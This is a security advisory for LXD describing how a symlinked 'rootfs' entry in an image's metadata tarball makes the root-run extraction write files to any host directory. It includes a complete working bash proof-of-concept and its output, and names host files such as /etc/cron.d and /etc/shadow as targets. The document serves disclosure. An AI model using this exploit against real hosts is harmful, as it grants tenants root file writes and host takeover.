Skip to main content
Menu
Advisories

Summary LXD unpacks a container image in two stages (lxd/storage/utils.go, ImageUnpack)

GHSA-F5F6-6X9Q-GH3FPublished Updated GitHub

Description

LXD unpacks a container image in two stages (lxd/storage/utils.go, ImageUnpack). The image metadata tarball is first extracted into the instance volume mount path; LXD then creates <mount>/rootfs, and finally extracts the image's rootfs tarball there:

rootfsPath := filepath.Join(destPath, "rootfs")
err := archive.UnpackImage(s, imageFile, destPath, ...)      // metadata tarball
err = os.MkdirAll(rootfsPath, 0755)                          // follows symlinks
err = archive.UnpackImage(s, imageRootfsFile, rootfsPath, ...) // tar -C <rootfsPath>

Nothing rejects a symlink member named rootfs in the metadata tarball. The metadata validation only requires metadata.yaml to be a regular file, and the post-extraction safety check (CheckMetadataFilesAreRegular, run at the end of every protected UnpackImage) only inspects metadata.yaml and backup.yaml, so the rootfs symlink survives it. Consequently:

  1. the metadata extraction creates <mount>/rootfs as a symlink to a directory chosen by the image author;
  2. os.MkdirAll follows it (the target already exists, so it silently succeeds);
  3. the second tar runs as the LXD daemon (root) with -C <mount>/rootfs, i.e. -C <attacker-chosen directory>, and writes the attacker's tarball there with attacker-controlled names, contents, uid/gid (--numeric-owner) and mode.

The AppArmor profile generated for the extraction step is built from filepath.EvalSymlinks(outputPath) (lxd/apparmor/archive.go), so the profile explicitly allows the dereferenced target instead of confining the operation to the instance volume.

A user holding a restricted client certificate limited to one project has can_create_images and can_create_instances on that project by default (lxd/auth/drivers/tls.go, allowProjectUnspecificEntityType). That user can therefore upload such an image and create an instance from it, and the daemon will write attacker-supplied files as root anywhere on the host — for example /etc/cron.d/<name> (root command execution), /etc/passwd, /etc/shadow, /etc/sudoers, /etc/ld.so.preload, /root/.ssh/authorized_keys, another instance's root filesystem, or /var/lib/lxd/database/global/db.bin.

This is the same class of defect as the fixes for CVE-2026-63293/63294 (symlinked metadata.yaml / backup.yaml in archives): those fixes added a check for two member names only, and the checks do not cover the paths LXD itself later uses for extraction.

Details

Upload — the image type and metadata are trusted at face value. lxd/images.go (imageCreateInPool / multipart handler) sets the image type from the multipart part name (rootfs → container, rootfs.img → VM) and scans the metadata tarball only for metadata.yaml:

if part.FormName() == "rootfs" {
    info.Type = instancetype.Container.String()
} else if part.FormName() == "rootfs.img" {
    info.Type = instancetype.VM.String()
}
if hdr.Name == "metadata.yaml" || hdr.Name == "./metadata.yaml" {
    if hdr.Typeflag != tar.TypeReg { ... error ... }
}
if strings.HasPrefix(hdr.Name, "rootfs/") || strings.HasPrefix(hdr.Name, "./rootfs/") {
    hasRoot = true
}

A symlink member named exactly rootfs matches neither condition and is accepted.

Unpack — the symlink is followed twice. lxd/storage/utils.go:708-730:

rootfsPath := filepath.Join(destPath, "rootfs")
err := archive.UnpackImage(s, imageFile, destPath, vol.IsBlockBacked(), progressHandler)
...
err = os.MkdirAll(rootfsPath, 0755)
...
err = archive.UnpackImage(s, imageRootfsFile, rootfsPath, vol.IsBlockBacked(), progressHandler)
...
entries, err := os.ReadDir(rootfsPath)

archive.UnpackImage runs GNU tar with --restrict --force-local --numeric-owner --xattrs-include=* -C <path>; --restrict does not disable symlink extraction.

Post-extraction check does not cover the path. archive.go:270-276 calls CheckMetadataFilesAreRegular(path) at the end of every protected doUnpack (i.e. after the metadata tarball has been extracted), and generic_vfs.go:773 calls it again for backup restores. It only looks at metadata.yaml and backup.yaml:

for _, name := range []string{"metadata.yaml", "backup.yaml"} {
    info, err := r.Lstat(name)
    ...
    if !info.Mode().IsRegular() { ... error ... }
}

AppArmor authorises the redirect target. lxd/apparmor/archive.go:

outputPathFull, err := filepath.EvalSymlinks(outputPath)
if err != nil {
    outputPathFull = outputPath
}
...
"outputPath": outputPathFull,

The generated profile therefore grants rwl on the dereferenced directory (e.g. /etc), not on the instance volume.

Reachability. The restricted-certificate authorizer returns nil (allow) for project-specific entities when the project is in the caller's allowed list, and EntitlementCanCreateImages / EntitlementCanCreateInstances are in the type whitelist (lxd/auth/drivers/tls.go:246-253). Uploading an image is not gated by any restricted.* project key, and using it in a project with features.images=true is the normal configuration.

Additional affected paths (same root cause, statically traced).

  • VM image: the VM branch of ImageUnpack stats the destination block path (following a symlink) and then runs qemu-img convert -O raw to it; the qemuimg AppArmor profile also dereferences the destination.
  • VM backup restore: genericVFSBackupUnpack (lxd/storage/drivers/generic_vfs.go:770-824) extracts the config-volume tarball with --strip-components into the mount path, checks only metadata.yaml/backup.yaml, then does os.OpenFile(<mount>/root.img, O_WRONLY|O_TRUNC|O_CREATE) (follows the symlink) and io.Copys the backup's virtual-machine.img into it. The restore entry point (POST /1.0/instances with source.type=backup) does not call limits.AllowBackupCreation, so restricted.backups=block does not gate it.

Proof of concept

Proof of concept (self-contained)

The script below needs only bash, openssl, curl, python3, tar and a local LXD 6.10.0 build/installation (LXD_BIN = daemon, LXC_BIN = CLI). It starts an isolated daemon under /var/tmp/lxd-poc-101 with its own LXD_DIR, HTTPS listener on 127.0.0.1:8443, a dir pool, and a restricted project poc101.

Privileges. The setup/verify/cleanup phases are the administrator's work (starting the daemon, creating the pool/project, trusting the tenant certificate, inspecting the root-owned canary) and use passwordless sudo. The attack phase refuses to run as root and makes every request over TLS with the restricted certificate only; the operation's requestor.username in the daemon's response is the certificate fingerprint (shown in the reproduction result), not the local Unix identity. The root-only canary directory stands in for /etc so the test is non-destructive.

#!/usr/bin/env bash
#
# LXD-2026-101 -- container image metadata "rootfs" symlink redirects the
# root-run tar extraction to an arbitrary host directory.
#
# The attack phase uses ONLY a restricted client certificate scoped to one
# project (no root, no host access, no privileged container).  The setup phase
# is what an administrator does when deploying LXD and onboarding a tenant.
#
# Usage (run as an unprivileged user with passwordless sudo):
#   sudo -v                                  # warm the sudo timestamp (optional)
#   LXD_BIN=/path/to/lxd LXC_BIN=/path/to/lxc ./poc.sh all
#   sudo ./poc.sh cleanup                    # remove the test environment
#
# Modes:
#   setup    start an isolated LXD daemon, create a dir pool, a restricted
#            project, a restricted client certificate and a root-only canary
#            directory (stands in for /etc and is never touched by this test)
#   attack   upload a crafted image and create an instance from it; every
#            request is authenticated with the restricted certificate
#   verify   show the root-owned file the daemon wrote into the root-only canary
#   cleanup  stop the daemon and delete the whole test tree
#   all      setup + attack + verify
#
set -euo pipefail

MODE="${1:-all}"
WORK="${WORK:-/var/tmp/lxd-poc-101}"
LXD_DIR="$WORK/var"
ATTACK_DIR="$WORK/attacker"
CANARY="$WORK/canary"
HTTPS_ADDR="${HTTPS_ADDR:-127.0.0.1:8443}"
PROJECT="${PROJECT:-poc101}"
POOL="${POOL:-default}"
INSTANCE="${INSTANCE:-poc101-c1}"
LXD_BIN="${LXD_BIN:-$(command -v lxd || true)}"
LXC_BIN="${LXC_BIN:-$(command -v lxc || true)}"
LXD_LIBS="${LXD_LIBS:-}"
CERT="$ATTACK_DIR/client.crt"
KEY="$ATTACK_DIR/client.key"

log() { printf '[poc] %s\n' "$*"; }
die() { printf '[poc] ERROR: %s\n' "$*" >&2; exit 1; }

as_admin() {
  if [ "$(id -u)" -eq 0 ]; then "$@"; else sudo -n "$@"; fi
}

lxc_admin() {
  if [ -n "$LXD_LIBS" ]; then
    as_admin env LXD_DIR="$LXD_DIR" LD_LIBRARY_PATH="$LXD_LIBS" "$LXC_BIN" "$@"
  else
    as_admin env LXD_DIR="$LXD_DIR" "$LXC_BIN" "$@"
  fi
}

# api_curl talks to the isolated daemon over HTTPS as the restricted tenant.
api_curl() {
  curl -sS --cert "$CERT" --key "$KEY" -k "$@"
}

need_sudo() {
  [ "$(id -u)" -eq 0 ] || sudo -n true 2>/dev/null \
    || die "passwordless sudo is required for '$MODE' (administrator side)"
}

start_daemon() {
  if lxc_admin list >/dev/null 2>&1; then
    log "daemon already running for $LXD_DIR"
    return
  fi
  as_admin mkdir -p "$LXD_DIR"
  as_admin chmod 0711 "$LXD_DIR"
  if [ -n "$LXD_LIBS" ]; then
    as_admin sh -c "echo \$\$ > '$WORK/daemon.pid'; exec env LXD_DIR='$LXD_DIR' LD_LIBRARY_PATH='$LXD_LIBS' '$LXD_BIN' --debug > '$WORK/lxd.log' 2>&1" </dev/null >/dev/null 2>&1 &
  else
    as_admin sh -c "echo \$\$ > '$WORK/daemon.pid'; exec env LXD_DIR='$LXD_DIR' '$LXD_BIN' --debug > '$WORK/lxd.log' 2>&1" </dev/null >/dev/null 2>&1 &
  fi
  local pid=$!
  disown 2>/dev/null || true
  local i
  for i in $(seq 1 60); do
    if lxc_admin list >/dev/null 2>&1; then
      log "daemon ready (LXD_DIR=$LXD_DIR)"
      return
    fi
    kill -0 "$pid" 2>/dev/null || { tail -n 5 "$WORK/lxd.log" >&2 || true; die "lxd exited during startup"; }
    sleep 1
  done
  die "daemon did not become ready, see $WORK/lxd.log"
}

setup() {
  need_sudo
  [ -n "$LXD_BIN" ] && [ -x "$LXD_BIN" ] || die "set LXD_BIN to the LXD 6.10.0 daemon binary"
  [ -n "$LXC_BIN" ] && [ -x "$LXC_BIN" ] || die "set LXC_BIN to the matching lxc CLI"

  as_admin mkdir -p "$WORK"
  as_admin chown "$(id -u):$(id -g)" "$WORK"
  mkdir -p "$ATTACK_DIR"

  if [ ! -f "$CERT" ] || [ ! -f "$KEY" ]; then
    openssl req -x509 -newkey ec -pkeyopt ec_paramgen_curve:prime256v1 -nodes \
      -keyout "$KEY" -out "$CERT" -days 3650 \
      -subj "/CN=lxd-poc101-tenant" >/dev/null 2>&1
    log "generated the tenant client certificate"
  fi

  start_daemon
  lxc_admin config set core.https_address "$HTTPS_ADDR" >/dev/null

  as_admin mkdir -p "$WORK/pool"
  if ! lxc_admin storage show "$POOL" >/dev/null 2>&1; then
    lxc_admin storage create "$POOL" dir source="$WORK/pool" >/dev/null
    log "created dir storage pool '$POOL'"
  fi
  if ! lxc_admin project show "$PROJECT" >/dev/null 2>&1; then
    lxc_admin project create "$PROJECT" \
      -c features.images=true -c features.profiles=true -c restricted=true >/dev/null
    log "created restricted project '$PROJECT'"
  fi

  # Tenant onboarding: the administrator trusts the tenant certificate but only
  # for this project.  This is the strongest restriction LXD can hand out.
  lxc_admin config trust add --restricted --projects "$PROJECT" \
    --name "poc101-tenant-$$" "$CERT" >/dev/null 2>&1 || true

  # Root-only canary.  In a real attack the symlink points at /etc, but this
  # PoC must stay non-destructive, so /var/tmp/lxd-poc-101/canary stands in.
  as_admin rm -rf "$CANARY"
  as_admin mkdir -p "$CANARY"
  as_admin chmod 0700 "$CANARY"
  as_admin chown root:root "$CANARY"
  log "canary ready (root:root 0700): $CANARY"
}

wait_op() { # $1 = operation URL
  local op="$1"
  api_curl "$op/wait?project=$PROJECT" -o "$WORK/attack/op.json"
  python3 - "$WORK/attack/op.json" <<'PY'
import json, sys
m = json.load(open(sys.argv[1]))["metadata"]
print("[poc] operation: %s -> %s (status_code=%s)%s" % (
    m.get("description"), m["status"], m["status_code"],
    "" if not m.get("err") else " err=" + str(m["err"])))
sys.exit(0 if m["status"] == "Success" else 1)
PY
}

list_fingerprints() {
  api_curl "https://$HTTPS_ADDR/1.0/images?project=$PROJECT" \
    | python3 -c 'import json,sys; print("\n".join(x.rsplit("/",1)[1] for x in json.load(sys.stdin)["metadata"]))'
}

attack() {
  if [ "$(id -u)" -eq 0 ] && [ "${ALLOW_ROOT_ATTACK:-0}" != "1" ]; then
    die "run 'attack' as an unprivileged user (ALLOW_ROOT_ATTACK=1 overrides)"
  fi
  [ -f "$CERT" ] && [ -f "$KEY" ] || die "client certificate missing; run 'setup' first"

  local A="$WORK/attack" base="https://$HTTPS_ADDR"
  rm -rf "$A"
  mkdir -p "$A/meta" "$A/rootfs"

  cat > "$A/meta/metadata.yaml" <<'YAML'
architecture: x86_64
creation_date: 1760000000
properties: {}
templates: {}
YAML
  ln -s "$CANARY" "$A/meta/rootfs"
  printf 'LXD-2026-101: written by the LXD daemon as root\n' > "$A/rootfs/pwned"
  tar -C "$A/meta" -cf "$A/metadata.tar" metadata.yaml rootfs
  tar -C "$A/rootfs" --owner=0 --group=0 -cf "$A/rootfs.tar" pwned
  log "crafted image: metadata.tar has rootfs -> $CANARY (symlink)"

  local before after resp op fp
  before="$(list_fingerprints || true)"

  resp="$(api_curl -X POST "$base/1.0/images?project=$PROJECT" \
            -F "metadata=@$A/metadata.tar" -F "rootfs=@$A/rootfs.tar")"
  op="$(printf '%s' "$resp" | python3 -c 'import json,sys; print(json.load(sys.stdin)["operation"])')"
  wait_op "$base$op"

  after="$(list_fingerprints)"
  fp="$(comm -13 <(printf '%s\n' "$before" | sort) <(printf '%s\n' "$after" | sort) | head -n 1)"
  [ -n "$fp" ] || die "could not determine the uploaded image fingerprint"
  log "uploaded image: $fp"

  api_curl -X DELETE "$base/1.0/instances/$INSTANCE?project=$PROJECT" >/dev/null 2>&1 || true
  resp="$(api_curl -X POST "$base/1.0/instances?project=$PROJECT" \
            -H 'Content-Type: application/json' \
            -d "{\"name\":\"$INSTANCE\",\"type\":\"container\",\"source\":{\"type\":\"image\",\"fingerprint\":\"$fp\"},\"devices\":{\"root\":{\"type\":\"disk\",\"path\":\"/\",\"pool\":\"$POOL\"}}}")"
  op="$(printf '%s' "$resp" | python3 -c 'import json,sys; print(json.load(sys.stdin)["operation"])')"
  wait_op "$base$op"

  log "ATTACK SUCCEEDED: instance '$INSTANCE' created from the crafted image"
}

verify() {
  need_sudo
  log "canary permissions and contents (read as root):"
  as_admin stat -c '  %U:%G %a %n' "$CANARY" "$CANARY/pwned"
  as_admin sed 's/^/  /' "$CANARY/pwned"

  if [ "$(id -u)" -ne 0 ]; then
    if touch "$CANARY/direct-write" 2>/dev/null; then
      rm -f "$CANARY/direct-write"
      printf '[poc] UNEXPECTED: the unprivileged user could write the canary directly\n'
    else
      printf '[poc] direct write by the unprivileged user: denied (EACCES), as expected\n'
    fi
  fi
}

cleanup() {
  need_sudo
  if [ -f "$WORK/daemon.pid" ]; then
    local pid
    pid="$(as_admin cat "$WORK/daemon.pid" 2>/dev/null || true)"
    [ -n "$pid" ] && as_admin kill "$pid" 2>/dev/null || true
  fi
  local i
  for i in $(seq 1 20); do
    [ -S "$LXD_DIR/unix.socket" ] || break
    sleep 0.5
  done
  # Lazily unmount anything the daemon left behind before deleting the tree.
  local m
  for m in $(awk -v p="$LXD_DIR" '$2 ~ p {print $2}' /proc/mounts | sort -r); do
    as_admin umount -l "$m" 2>/dev/null || true
  done
  as_admin rm -rf "$WORK"
  log "removed $WORK"
}

case "$MODE" in
  setup)   setup ;;
  attack)  attack ;;
  verify)  verify ;;
  cleanup) cleanup ;;
  all)
    setup
    attack
    verify
    log "done -- run '$0 cleanup' to remove the environment"
    ;;
  *)
    echo "usage: $0 {setup|attack|verify|cleanup|all}" >&2
    exit 2
    ;;
esac

Run:

sudo -v                                     # warm sudo, if needed
LXD_BIN=/path/to/lxd LXC_BIN=/path/to/lxc ./poc.sh all
sudo ./poc.sh cleanup

Reproduction result

Full-unmodified transcript from a from-scratch run (LXD 6.10.0, dir storage driver, Linux 5.15), attacker Unix uid 1000, restricted certificate restricted=True projects=['poc101']:

[poc] generated the tenant client certificate
[poc] daemon ready (LXD_DIR=/var/tmp/lxd-poc-101/var)
[poc] created dir storage pool 'default'
[poc] created restricted project 'poc101'
[poc] canary ready (root:root 0700): /var/tmp/lxd-poc-101/canary
[poc] crafted image: metadata.tar has rootfs -> /var/tmp/lxd-poc-101/canary (symlink)
[poc] operation: Downloading image -> Success (status_code=200)
[poc] uploaded image: 2f113864abcf09011fcf3b40b41678607c12eedd7a63065f16e12c32969c940b
[poc] operation: Creating instance -> Success (status_code=200)
[poc] ATTACK SUCCEEDED: instance 'poc101-c1' created from the crafted image
[poc] canary permissions and contents (read as root):
  root:root 700 /var/tmp/lxd-poc-101/canary
  root:root 664 /var/tmp/lxd-poc-101/canary/pwned
  LXD-2026-101: written by the LXD daemon as root
[poc] direct write by the unprivileged user: denied (EACCES), as expected
[poc] done -- run './poc.sh cleanup' to remove the environment

The canary directory is root:root 0700 and the attacker (uid 1000) cannot write it directly (EACCES, verified by the script). The file nevertheless appears inside it, created by the daemon's root tar. The daemon side of the same run:

$ lxc info | grep -E 'server_version:|driver:'
  driver: lxc
  server_version: 6.10.0

$ lxc config trust list --format json
cert: poc101-tenant-8056 restricted= True projects= ['poc101']

$ jq '.metadata.requestor' <operation (Creating instance)>
{"username": "04f9bc1d316b5fde54df91bdf5de9d566a661847272a1f52dda1734455c3513d",
 "protocol": "tls", "address": "127.0.0.1:54096"}

requestor.username is the SHA-256 fingerprint of the restricted client certificate; the requests were therefore authorised as the tenant, not as the daemon's root.

Impact

The broken property belongs to LXD: image unpacking must stay inside the instance volume that the daemon creates for it. A client-supplied archive member silently changes the extraction root, and the daemon's own AppArmor profile is generated to permit the new root.

A tenant with only can_create_images and can_create_instances obtains an arbitrary root file write on the host:

  • /etc/cron.d/<name> (or /etc/cron.daily/<name>) → host root code execution on the next scheduler tick;
  • /etc/passwd, /etc/shadow, /etc/sudoers, /etc/ld.so.preload, /root/.ssh/authorized_keys → host compromise or lockout;
  • another instance's root filesystem or LXD configuration under /var/lib/lxd/ → cross-tenant integrity loss;
  • /var/lib/lxd/database/global/db.bin → LXD state destruction.

The same primitive can overwrite files with attacker-controlled bytes (the rootfs tarball is fully attacker-controlled), which is stronger than a mere truncation.

References

GitHub · canonical/lxd